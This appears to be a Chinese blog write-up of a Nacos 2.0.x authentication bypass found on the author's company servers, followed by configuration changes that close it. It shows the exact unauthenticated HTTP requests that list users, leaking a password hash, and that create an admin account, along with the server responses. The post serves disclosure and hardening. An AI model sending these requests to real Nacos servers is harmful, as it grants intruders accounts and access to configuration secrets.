背景
公司Nacos版本有用的2.0.1和2.0.3的都复现了身份认证的漏洞,无需认证身份就可以查看用户列表以及注册新用户,并且注册上来的新用户可以查看所有public命名空间下的配置资源!
漏洞复现
1、查看用户列表
- URL:
http://ip:8848/nacos/v1/auth/users?pageNo=1&pageSize=1
- 方法类型:GET
- 返回结果:
{"totalCount":1,"pageNumber":1,"pagesAvailable":1,"pageItems":[{"username":"nacos","password":"$2a$10$gZoOI701ByEP8LatzrVyneAf4zoYAyLoCrrlegCeYkFbqgtaoBIQ."}]}
如图示:
2、用户注册
无需任何用户凭证即可新建用户,例如这里我新建admin/123456
用户。
- URL:
http://ip:8848/nacos/v1/auth/users?username=admin&password=123456
- 方法类型:POST
- 返回结果:
{
"code": 200,
"message": null,
"data": "create user ok!"
}
postman测试截图:
可以看到提示创建用户成功。使用账号登录可以看到所有public命名空间下的配置资源,这里登录截图就不贴出来了,大家可以自己去测试。
整改措施
通过检索,发现修改nacos的application.properties
的配置可以解决这个问题,需要修改的配置内容如下:
#修改配置文件application.properties,修改以下三项:
① 将nacos.core.auth.enabled=false改为true
② 将nacos.core.auth.enable.userAgentAuthWhite=true 改为false
③ nacos.core.auth.server.identity.key=自定义的值
nacos.core.auth.server.identity.value=自定义的值
#重启nacos:
systemctl restart nacos
经过实践,第三点自定义的值可以自己定义,和我们需要注册上nacos的服务配置没有关联。修改完上面配置后,再次尝试上述两个漏洞得到下列返回:
可以看到获取用户列表接口被禁止了。
可以看到新建用户接口也被禁止了。使用admin/123456
登录系统:
此时admin用户已经没有权限查看public命名空间的配置资源了。至此nacos此次的认证漏洞算是告一段落了。
奇怪的是漏洞问题最早是2020年12月份发现的,网上博客对于这个漏洞的集中爆发讨论在21年,这2022年都快过完了没想到团队才发现这个漏洞!